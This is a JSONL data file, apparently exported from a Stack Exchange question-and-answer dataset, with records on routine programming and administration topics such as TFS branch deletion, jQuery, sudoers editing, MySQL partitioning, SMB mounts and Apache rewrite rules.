"has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.619950"}
{"id": "hf_b6c68a0755eb", "question": "<p>I am wondering how I should properly get rid of branches that no longer have any purpose. Right now even if i delete them and commit they are still listed as branches in the properties windows for a particular branching root (directory). If I select merge I don't get an option to merge to the deleted branch which obviously is as expected but therefore I am puzzled about the branch still showing up in the properties window.</p>\n\n<p>Any explanation on this behavior would be greatly appreciated.</p>\n", "question_body": "", "answer": "The deleted branch is only marked as deleted at a moment in time and it's possible to still get to the code if you sync to a changeset or time before that delete operation.\nIf you do not want to have the file in the branch in the database at all you can use the\n```\ntf destroy\n```\ncommand line:\nhttp://msdn.microsoft.com/en-us/library/bb386005.aspx\nAs your branch is already deleted you'll need to use\n```\ntf dir /deleted\n```\nto find the deletion number of that branch in order to destroy the files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.644785"}
{"id": "hf_035a3825d8fe", "question": "<p>How do you combine two jQuery search results? eg:</p>\n\n<pre><code>var $allFoos = $('.foo'),\n    $allBars = $('.bar')\n    $allFoosAndBars = $allFoos + $allBars;\n</code></pre>\n\n<p>Obviously, I just made up that last line, but I hope it makes it sorta clear what I mean. To be clear, the example is greatly simplified, and it could be any arbitrary sets i'm talking about, so <code>$('.foo, .bar')</code> is <em>not</em> what I'm after.</p>\n", "question_body": "", "answer": "You can use\nadd()\n;\n```\n```\nvar $foos = $('.foo');\n\nvar $foosAndBars = $foos.add('.bar');\n```\n```\nor\n```\n```\nvar $allFoosAndBars = $allFoos.add($allBars);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.823614"}
{"id": "hf_37c829df5e87", "question": "<p>I need to edit <code>/etc/sudoers</code> from a script to add/remove stuff from white lists.</p>\n\n<p>Assuming I have a command that would work on a normal file, how could I apply it to <code>/etc/sudoers</code>?</p>\n\n<p>Can I copy and modify it, then have <code>visudo</code> replace the original with the modified copy? By providing my own script in <code>$EDITOR</code>?</p>\n\n<p>Or can I just use the same locks and <code>cp</code>?</p>\n\n<p>The question is more about potential issues than about just finding something that works.</p>\n", "question_body": "", "answer": "You should make your edits to a temporary file, then use visudo -c -f sudoers.temp to confirm that the changes are valid and then copy it over the top of /etc/sudoers\n```\n```\n#!/bin/sh\nif [ -f \"/etc/sudoers.tmp\" ]; then\n    exit 1\nfi\ntouch /etc/sudoers.tmp\nedit_sudoers /tmp/sudoers.new\nvisudo -c -f /tmp/sudoers.new\nif [ \"$?\" -eq \"0\" ]; then\n    cp /tmp/sudoers.new /etc/sudoers\nfi\nrm /etc/sudoers.tmp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.846852"}
{"id": "hf_6c526a79d53e", "question": "<p>We're usually 1-4 developers / art directors / copywriters on each project at my firm, what methodology would you recommend use to use? Agile? XP? Scrum? Something else? (I know they are all variations of essentially the same concept, yes)</p>\n", "question_body": "", "answer": "I don't think there's a general answer for it, the question is too broad, and you can't just \"adopt a methodology\" as if it were a product that you take out of the box, it's something that you evolve over time...but in any case I highly recommend you getting a copy of this book:\nHead First Software Development\nThen you adapt the ideas you like into your project. Don't worry about names and buzzwords, they will be all \"passé\" next year anyway.\nKeep it simple\nat first, adopt the ideas that make more sense and give the most bang for buck, and don't try to solve problems that don't exist yet. It will be a very good start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.917262"}
{"id": "hf_425d4ed9c082", "question": "<p>Quick question: Would it be a good or a bad idea to implement my domain-driven design style repositories as singletons? Why?</p>\n\n<p>Or should I maybe use a dependency injector container to manage my repositories and decide if they are singletons or not?</p>\n\n<p>I'm still reading <em>DDD Quickly</em>, and would like to see some good repository examples.</p>\n", "question_body": "", "answer": "Use your dependency injection container to decide how and where repositories are created.\nBy using\n```\n```\nUserRepository.Instance.Find(userId);\n```\n```\nyou're creating a barrier to testing.\nIf your repositories are passed into services using Constructor Injection, then you can also easily replace them with mocks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.941188"}
{"id": "hf_73596897fae7", "question": "<p>After creating a translucent window (<a href=\"http://stormsilver.net/itunescheck/browser/tags/0.91/TransparentWindow.m?rev=25\" rel=\"noreferrer\">based on example code by Matt Gemmell</a>) I want to get keyboard events in this window.  It seems that there are only keyboard events when my application is the active application while I want keyboard events even when my application isn't active but the window is visible.</p>\n\n<p>Basically I want behavior like that provided by the Quicksilver application (by blacktree).</p>\n\n<p>Does anybody have any hints on how to do this?</p>\n", "question_body": "", "answer": "There are two options:\nUse\n```\nGetEventMonitorTarget()\n```\nwith a tacked-on Carbon run loop to grab keyboard events. Sample code is available on\nthis page\nat CocoaDev.\nRegister an event trap with\n```\nCGEventTapCreate\n```\n. Sample code can be found in\nthis thread\nfrom the Apple developer mailing list.\nEdit:\nNote that these methods only work if you check off “Enable access for assistive devices” in the Universal Access preference pane.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:50.988201"}
{"id": "hf_6b93770f0fc9", "question": "<p>I'm trying to find out how much memory my objects take to see how many of them are ending up on the <a href=\"https://learn.microsoft.com/en-us/dotnet/standard/garbage-collection/large-object-heap\" rel=\"nofollow noreferrer\">Large Object Heap</a> (which is anything over 85,000 bytes).</p>\n<p>Is it as simple as adding 4 for an int, 8 for a long, 4 (or 8 if you're on 64 bit) for any reference types etc for each object, or are there overheads for methods, properties, etc.?</p>\n", "question_body": "", "answer": "Don't forget that the size of an actual object doesn't include the size of any objects it references.\nThe only things which are likely to end up on the large object heap are arrays and strings - other objects tends to be relatively small in themselves. Even an object with (say) 10 reference type variables (4 bytes each on x86) and 10 GUIDs (16 bytes each) is only going to take up about 208 bytes (there's a bit of overhead for the type reference and sync block).\nLikewise when thinking about the size of an array, don't forget that if the element type is a reference type, then it's only the size of the\nreferences\nthat count for the array itself. In other words, even if you've got an array with 20,000 elements, the size of the array object itself will only be just over 80K (on x86) even if it references a lot more data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.083691"}
{"id": "hf_3a1ca456dff2", "question": "<p>I want to know how to set a Publishing page content through the code (MOSS 2007).<br>\nThis is how I've created the page:</p>\n\n<pre><code>PublishingPage page = publishingWeb.GetPublishingPages().Add(\"MyPage.aspx\", pageLayout);\nSPFile pageFile = page.ListItem.File;\npage.Title = \"My Page\";                    \npage.Update();\n</code></pre>\n\n<p>But my attempts of setting it's content didn't work.</p>\n", "question_body": "", "answer": "I don't know if it's\nok\nto answer my own question, but after reflecting Sharepoint's codebehind I was able to find a way to set the page's content:\n```\n```\nstring content = \"Welcome to <strong>My Page</strong>\";\npage.ListItem[FieldId.PublishingPageContent] = content;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.154343"}
{"id": "hf_4d8e609b307f", "question": "<p>I know each iPhone has a electronic identifier other than the phone # or ESN - how do I call it and what does it return?</p>\n", "question_body": "", "answer": "The UIDevice class contains the information you need.\n```\n[[UIDevice currentDevice] uniqueIdentifier]\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.189902"}
{"id": "hf_58e241abccae", "question": "<p>I'm looking at building a Rails application which will have some pretty\nlarge tables with upwards of 500 million rows.  To keep things snappy\nI'm currently looking into how a large table can be split to more\nmanageable chunks.   I see that as of MySQL 5.1 there is a partitioning\noption and that's a possible option but I don't like the way the column\nthat determines the partitioning has to be part of the primary key on\nthe table.</p>\n\n<p>What I'd really like to do is split the table that a AR model writes to\nbased upon the values written but as far as I am aware there is no way\nto do this - does anyone have any suggestions as to how I might\nimplement this or any alternative strategies?</p>\n\n<p>Thanks</p>\n\n<p>Arfon</p>\n", "question_body": "", "answer": "Partition columns in MySQL are not limited to primary keys. In fact, a partition column does not have to be a key at all (though one will be created for it transparently). You can partition by RANGE, HASH, KEY and LIST (which is similar to RANGE only that it is a set of discrete values). Read the MySQL manual for\nan overview\nof partioning types.\nThere are alternative solutions such as\nHScale\n- a middleware plug-in that transparently partitions tables based on certain criteria.\nHiveDB\nis an open-source framework for horizontal partioning for MySQL.\nIn addition to sharding and partioning you should employ some sort of clustering. The simplest setup is a replication based setup that helps you spread the load over several physical servers. You should also consider more advanced clustering solutions such as MySQL cluster (probably not an option due to the size of your database) and clustering middleware such as\nSequioa\n.\nI actually asked a relevant question regarding\nscaling with MySQL\nhere on stack-overflow some time ago, which I ended up answering myself several days later after collecting a lot of information on the subject. Might be relevant for you as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.225578"}
{"id": "hf_a887d5b2b872", "question": "<p>Can anyone point me out, how can I parse/evaluate HQL and get map where key is table alias and value - full qualified class name.</p>\n\n<p>E.g. for HQL</p>\n\n<blockquote>\n  <p>SELECT a.id from Foo a INNER JOIN a.test b</p>\n</blockquote>\n\n<p>I wish to have pairs:</p>\n\n<p>a, package1.Foo</p>\n\n<p>b. package2.TestClassName</p>\n\n<p>It's relatively easy to do for result set</p>\n\n<blockquote>\n<pre><code>HQLQueryPlan hqlPlan = ((SessionFactoryImpl)sf).getQueryPlanCache().getHQLQueryPlan( getQueryString(), false, ((SessionImpl)session).getEnabledFilters() );\nString[] aliases = hqlPlan.getReturnMetadata().getReturnAliases();\nType[] types = hqlPlan.getReturnMetadata().getReturnTypes();\n</code></pre>\n</blockquote>\n\n<p>See <a href=\"http://www.hibernate.org/389.html\" rel=\"nofollow noreferrer\">details here</a>.</p>\n", "question_body": "", "answer": "Hardly a good way of doing it, but it seems you can get the AST through some internal interfaces and traverse this:\n```\n```\nQueryTranslator[] translators = hqlPlan.getTranslators();\nAST ast = (AST)((QueryTranslatorImpl)translators[0]).getSqlAST();\n    new NodeTraverser(new NodeTraverser.VisitationStrategy() {\n    public void visit(AST node) {\n        if(node.getType() == SqlTokenTypes.FROM_FRAGMENT || node.getType() == SqlTokenTypes.JOIN_FRAGMENT) {\n            FromElement id = (FromElement)node;\n            System.out.println(node+\": \"+id.getClassAlias()+\" - \"+id.getClassName());\n        }\n    }\n}).traverseDepthFirst(ast);\n```\n```\nSo this seems to retrieve the alias-mappings from the compiled query, but I would be very careful using this solution: it typecasts objects to subclasses not usually visible to a hibernate-client and interprets the AST based on guessing the semantics of the different nodes.  This might not work on all HQL-statements, and might not work, or have different behaviour, on a future hibernate-version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.249589"}
{"id": "hf_b0d2a75ebfeb", "question": "<p>What are the pros and cons of adopting Open Source software for an organisation? Is there anybody out there who has done this and how well has it been working out with some examples of the softwares they adopted and how it has been in use?</p>\n\n<p>Usually contributions come because people do it as a hobby, then how can we make sure that there will be continued support for it? IMHO, in case of proprietary software there is an incentive for the organisation (money), and they will keep hiring people to keep it under development as long as the software is profitable. Correct me if I am wrong. What are the arguments I might expect from a Manager who might oppose the suggestion to use Open Source softwares?</p>\n", "question_body": "", "answer": "The term \"Open Source\" only describes a licensing model.  Strictly speaking, the only pro that you are guaranteed to have are the freedoms given by the license, and there are no cons that you are guaranteed to have.\nThere are many Open Source products that are also commercial, created, maintained, and supported by a company for a profit.  There are also many Open Source products that are maintained by volunteers but also supported commercially.  For example, if you buy Red Hat Enterprise Linux, then Red Hat will support you on all of the products that come with it, even the ones that are maintained by volunteers.\nAs for how to be sure that there will be continued support, you can't.  Not with Open Source, not with proprietary software, not with anything.  With Open Source, if the community is large enough, you can be reasonably confident that the community will continue to maintain it (maybe under a new name) even if the current maintainers abandon it, and you have the option of maintaining it yourself or hiring someone else to do it.  Maintaining it yourself may not be an attractive option, but it can be a life saver in a pinch.\nWith proprietary software, if the author decides to stop maintaining it, you are just plain out of luck.  Consider, for example, the thousands of users of Visual Basic 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.273969"}
{"id": "hf_0c0e21fe08ec", "question": "<p>I wonder if with a simple <code>Map&lt;String,Object&gt;</code> implementation for plain records is enough.</p>\n\n<p>I want to do it similar to Ror. When you add a field to the table in the database automatically you have access to the field in the Dto.</p>\n\n<p>I don't want to add a field and then have to add the same field to the DTO declaration. It isn't DRY.</p>\n", "question_body": "", "answer": "What I think you're looking for a is very lightweight Object Relational Mapping tool?\nIf you want to roll your own, then there is a tiny example one as part of\nthis article\non developerWorks.\nYou may want to look at any number of others but Hibernate, JPA and JDO are probably the most popular.\nPrevayler\ntype systems may be what you're looking for. Of course, none of this may not be what you're after. Could you be a little more specific?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.309096"}
{"id": "hf_407d6d2b4a6a", "question": "<p>Imagine I have the following:</p>\n\n<pre><code>inFile = \"/adda/adas/sdas/hello.txt\"\n\n# that instruction give me hello.txt\nName = inFile.name.split(\"/\") [-1]\n\n# that one give me the name I want - just hello\nName1 = Name.split(\".\") [0]\n</code></pre>\n\n<p>Is there any chance to simplify that doing the same job in just one expression?</p>\n", "question_body": "", "answer": "```\n```\n>>> inFile = \"/adda/adas/sdas/hello.txt\"\n>>> inFile.split('/')[-1]\n'hello.txt'\n>>> inFile.split('/')[-1].split('.')[0]\n'hello'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.336060"}
{"id": "hf_61d8b168f743", "question": "<p>We are deciding the naming convention for tables, columns, procedures, etc. at our development team at work. The singular-plural table naming <em>has already been decided</em>, we are using singular. We are discussing whether to use a prefix for each table name or not. I would like to read suggestions about using a prefix or not, and why.</p>\n\n<p>Does it provide any security at all (at least one more obstacle for a possible intruder)? I think it's generally more comfortable to name them with a prefix, in case we are using a table's name in the code, so to not confuse them with variables, attributes, etc. But I would like to read opinions from more experienced developers.</p>\n", "question_body": "", "answer": "I prefer prefixing tables and other database objects with a short name of the application or solution.\nThis helps in two potential situations which spring to mind:\nYou are less likely to get naming conflicts if you opt to use any third-party framework components which require tables in your application database (e.g. asp net membership provider).\nIf you are developing solutions for customers, they may be limited to a single database (especially if they are paying for external hosting), requiring them to store the database objects for multiple applications in a single database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.376126"}
{"id": "hf_3e0207f4bd75", "question": "<p>trying to mount an smb share on OS X so that the 'www' user can read files from there.</p>\n\n<p>the SMB share is accessible via an Active Directory account. I can mount the share through the Finder (cmd-k ...)</p>\n\n<p>my basic approach is</p>\n\n<pre><code># 1) create mountpoint \nsudo mkdir /Volumes/www_mdisk\n\n# 2) permissions for mountpoint\nsudo chown www:www /Volumes/www_mdisk; sudo chmod 777 /Volumes/www_mdisk\n\n# 3) make a link from apache docroot to mountpoint (http.conf FollowSymlinks is on)\ncd /Library/WebServer/Documents; ln -s /Volumes/www_mdisk mdisk\n\n# 4) mount the SMB share using the Active Directory user 'ad_user'\nsudo mount_smbfs -O www/www '//DOMAIN;ad_user@smbshare_host/sharepath'\n</code></pre>\n\n<p>step 4 fails though. I have read the manpages, tried many different combinations (with or without -O switch), but can't get it to work</p>\n\n<p>can you help me get it right?\nthanks!</p>\n", "question_body": "", "answer": "ok, I can do this now on Mac OS X 10.4\n```\n```\n# 4) mount the SMB share using the Active Directory user 'ad_user'\nsudo mount_smbfs -O www/www -u 70 -g 70 '//DOMAIN;ad_user@smbshare_host/sharepath' www_mdisk\n\n# 5) make sure http.conf has 'Options Indexes' enabled for Docroot\nduh.\n```\n```\nSo everything works now on 10.4, following the steps above.\nproblem is, step 4) doesn't work on Mac OS X 10.5. mount_smbfs has lost the '-O' option...\nAnybody knows how to do this on 10.5?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.422599"}
{"id": "hf_953867335141", "question": "<p>We are looking at various options in porting our persistence layer from Oracle to another database and one that we are looking at is MS SQL. However we use Oracle sequences throughout the code and because of this it seems moving will be a headache. I understand about @identity but that would be a massive overhaul of the persistence code. </p>\n\n<p>Is it possible in SQL Server to create a function which could handle a sequence? </p>\n", "question_body": "", "answer": "That depends on your current use of sequences in Oracle. Typically a sequence is read in the Insert trigger.\nFrom your question I guess that it is the persistence layer that generates the sequence before inserting into the database (including the new pk)\nIn MSSQL, you can combine SQL statements with ';', so to retrieve the identity column of the newly created record, use INSERT INTO ... ; SELECT SCOPE_IDENTITY()\nThus the command to insert a record return a recordset with a single row and a single column containing the value of the identity column.\nYou can of course turn this approach around, and create Sequence tables (similar to the dual table in Oracle), in something like this:\n```\n```\nINSERT INTO SequenceTable (dummy) VALUES ('X');\nSELECT @ID = SCOPE_IDENTITY();\nINSERT INTO RealTable (ID, datacolumns) VALUES (@ID, @data1, @data2, ...)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.457960"}
{"id": "hf_6e4fa724b2e4", "question": "<p>Ever since the publication of <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321200683\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Enterprise Integration Patterns</a> people have been using the notation introduced in that book for documenting asynchronous heterogenous messaging systems.</p>\n\n<p>But our shop is more or less standardized around a proprietary documentation tool that does exclusively UML. Is one of the standard UML diagrams appropriate for documenting asynchronous messaging systems, including transformers, routers et al.? If yes, which one? If not, what would be a killer argument against the tweaking of UML for this purpose?</p>\n", "question_body": "", "answer": "UML provides a mechanism for extension through\nprofiles\nA profile allows you to specify stereotypes, tagged values, and constraints.\nEvery stereotype can have an optional stereotype icon.\nPerhaps there is an EIP profile for UML you could download?\nIf not, you can build your own profile if your UML tool supports this, and use the icons available as Visio shapes from\nGregor Hohpe's website\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.486018"}
{"id": "hf_453fba792f02", "question": "<p>I have developed a framework that is used by several teams in our organisation. Those \"modules\", developed on top of this framework, can behave quite differently but they are all pretty resources consuming even though some are more than others. They all receive data in input, analyse and/or transform it, and send it further. </p>\n\n<p>We planned to buy new hardware and my boss asked me to define and implement a benchmark based on the modules in order to compare the different offers we have got. </p>\n\n<p>My idea is to simply start sequentially each module with a well chosen bunch of data as input. </p>\n\n<p>Do you have any advice? Any remarks on this simple procedure? </p>\n", "question_body": "", "answer": "The most meaningful benchmark is to measure how your code performs under everyday usage.  That will obviously provide you with the most realistic numbers.\nChoose several real-life data sets and put them through the same processes your org uses every day.  For extra credit, talk with the people that use your framework and ask them to provide some \"best-case\", \"normal\", and \"worst-case\" data.  Anonymize the data if there are privacy concerns, but try not to change anything that could affect performance.\nRemember that you are benchmarking and comparing two sets of hardware, not your framework.  Treat all of the software as a black box and simply measure the hardware performance.\nLastly, consider saving the data sets and using them to similarly evaluate any later changes you make to the software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.544729"}
{"id": "hf_ea0876f1d3f3", "question": "<p>I'm compiling a vc8 C++ project in a WinXp VmWare session.  It's a hell of a lot slower than gcc3.2 in a RedHat VmWare session, so I'm looking at Task Manager.  It's saying a very large percentage of my compile process is spent in the kernel.  That doesn't sounds right to me.</p>\n\n<p>Is there an equivalent of strace for Win32? At least something which will give me an overview of which kernel functions are being called.  There might be something that stands out as being the culprit.</p>\n", "question_body": "", "answer": "Not exactly strace, but there is a way of getting visibility into the kernel call stack, and by sampling it at times of high CPU usage, you can usually estimate what's using up all the time.\nInstall\nProcess Explorer\nand make sure you configure it with symbol server support. You can do this by:\nInstalling\nWinDebug\nto get an updated dbghelp.dll\nSet Process Explorer to use this version of dbghelp.dll by setting the path in the Options | Configure Symbols menu of Process Explorer.\nAlso in the same dialog, set the symbols path such that it includes the MS symbol server and a local cache.\nHere's an example value for the symbol path:\n```\n```\nSRV*C:\\symbolcache*http://msdl.microsoft.com/download/symbols\n```\n```\n(You can set _NT_SYMBOL_PATH environment variable to the same value to have the debugging tools use the same symbol server and cache path.) This path will cause dbghelp.dll to download symbols to local disk when asked for symbols for a module that doesn't have symbols locally.\nAfter having set up Process Explorer like this, you can then get a process's properties, go to the threads tab, and double-click on the busiest thread. This will cause Process Explorer to temporarily hook into the process and scan the thread's stack, and then go and look up the symbols for the various return addresses on the stack. The return addresses's symbols, and the module names (for non-MS third-party drivers) should give you a strong clue as to where your CPU time is being spent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.661504"}
{"id": "hf_95e3bb90f69a", "question": "<p>I am developing a website using CodeIgniter and PHP.  Some of my friends suggest I start using Subversion to take care of my organization.  Could someone give me a basic explanation of what SVN is without the jargon and also if it is practical for a framework where 5 files are needed to run a single page?</p>\n", "question_body": "", "answer": "SVN is a\nversion control\nsystem - which means that it stores various previous versions of a given file, and allows many people to work on the same file, and in the end put all the changes together. It also helps you go back to a previous version if necessary.\nYou should use that in your project if there are a lot of people working on the project. But even if you are the only one working, it will be easier to manage the project if it is on version control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.710094"}
{"id": "hf_def1c2c37d32", "question": "<p>What's the best way to throw an exception in objective-c/cocoa?</p>\n", "question_body": "", "answer": "I use\n```\n[NSException raise:format:]\n```\nas follows:\n```\n```\n[NSException raise:@\"Invalid foo value\" format:@\"foo of %d is invalid\", foo];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.733762"}
{"id": "hf_685a15587297", "question": "<p>If I have several <code>Section</code> elements in an XML document, what XQuery do I use to get a list of all the <code>name</code> values?</p>\n\n<pre><code>&lt;Section name=\"New Clients\" filePath=\"XNEWCUST.TXT\" skipSection=\"False\"&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n/Section/@name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.757518"}
{"id": "hf_32f5d2e342b3", "question": "<p>I have html code that looks roughly like this:</p>\n\n<pre><code>&lt;div id=\"id1\"&gt;\n  &lt;div id=\"id2\"&gt;\n    &lt;p&gt;some html&lt;/p&gt;\n    &lt;span&gt;maybe some more&lt;/span&gt;\n  &lt;/div&gt;\n  &lt;div id=\"id3\"&gt;\n    &lt;p&gt;different text here&lt;/p&gt;\n    &lt;input type=\"text\"&gt;\n    &lt;span&gt;maybe even a form item&lt;/span&gt;\n  &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Obviously there's more to it than that, but that's the basic idea. What I need to do is switch the location of #id2 and #id3, so the result is:</p>\n\n<pre><code>&lt;div id=\"id1\"&gt;\n  &lt;div id=\"id3\"&gt;...&lt;/div&gt;\n  &lt;div id=\"id2\"&gt;...&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Does anyone know of a function (I'm sure I'm not the first person to require this functionality) that can read and write the two nodes (and all their children) so as to swap their location in the DOM?</p>\n", "question_body": "", "answer": "In this case,\n```\ndocument.getElementById('id1').appendChild(document.getElementById('id2'));\n```\nshould do the trick.\nMore generally you can use\n```\ninsertBefore()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.780751"}
{"id": "hf_8f9ceeb68b21", "question": "<p>How can I give a general rule that includes all the expressions below?\nE.g one expression, another one for sub and one for mult.\nI need to use recursion but i got confused...</p>\n\n<pre><code>simplify :: Expr-&gt;Expr\n\nsimplify (Mult (Const 0)(Var\"x\"))\n = Const 0 \nsimplify (Mult (Var \"x\") (Const 0))\n = Const 0\nsimplify (Plus (Const 0) (Var \"x\")) \n= Var \"x\"\nsimplify (Plus (Var \"x\") (Const 0))\n = Var \"x\" \nsimplify (Mult (Const 1) (Var\"x\")) \n= Var \"x\"\nsimplify (Mult(Var\"x\") (Const 1))\n = Var \"x\" \nsimplify (Minus (Var\"x\") (Const 0))\n = Var \"x\"\nsimplify (Plus (Const x) (Const y)) \n= Const (x + y)\nsimplify (Minus (Const x) (Const y))\n= Const (x - y)\nsimplify (Mult (Const x) (Const y))\n = Const (x * y)\nsimplify x = x\n</code></pre>\n", "question_body": "", "answer": "The recursion comes in when you need to deal with nested expressions.  For instance, how do you simply (Plus (Plus 2 3) (Plus 4 5))?\nOne approach is to break it into two functions.  Move the one level logic (which you show above) into its own function.  The main simplify function might have a rule similar to the following for Plus:\n```\n```\nsimplify (Plus x y) = simplify_one_level (Plus (simplify x) (simplify y))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.804669"}
{"id": "hf_346bd969ee2c", "question": "<p>This is a multi-site problem.  I have a lot of sites with .htaccess files with multiple line similar to:</p>\n\n<pre><code>rewriterule ^(page-one|page-two|page-three)/?$ /index.php?page=$1 [L]\n</code></pre>\n\n<p>This means that both www.domain.com/page-one and www.domain.com/page-one/ will both load www.domain.com/index.php?page=page-one</p>\n\n<p>However I'm always told that it is good SEO practice to make sure you use only one URL per page so what I'd like to do make www.domain.com/page-one to redirect to www.domain.com/page-one/ via the .htaccess file. </p>\n\n<p>Please note the answer I'm <strong>NOT</strong> looking for is to remove the ?$ from the end of the line as that will just cause www.domain.com/page-one to become a 404 link.</p>\n", "question_body": "", "answer": "Untested\n, but can't you just do this?\n```\n```\nRewriteRule ^(.*[^/])$ $1/\nRewriteRule ^(page-one|page-two|page-three)?$ /index.php?page=$1 [L]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.922610"}
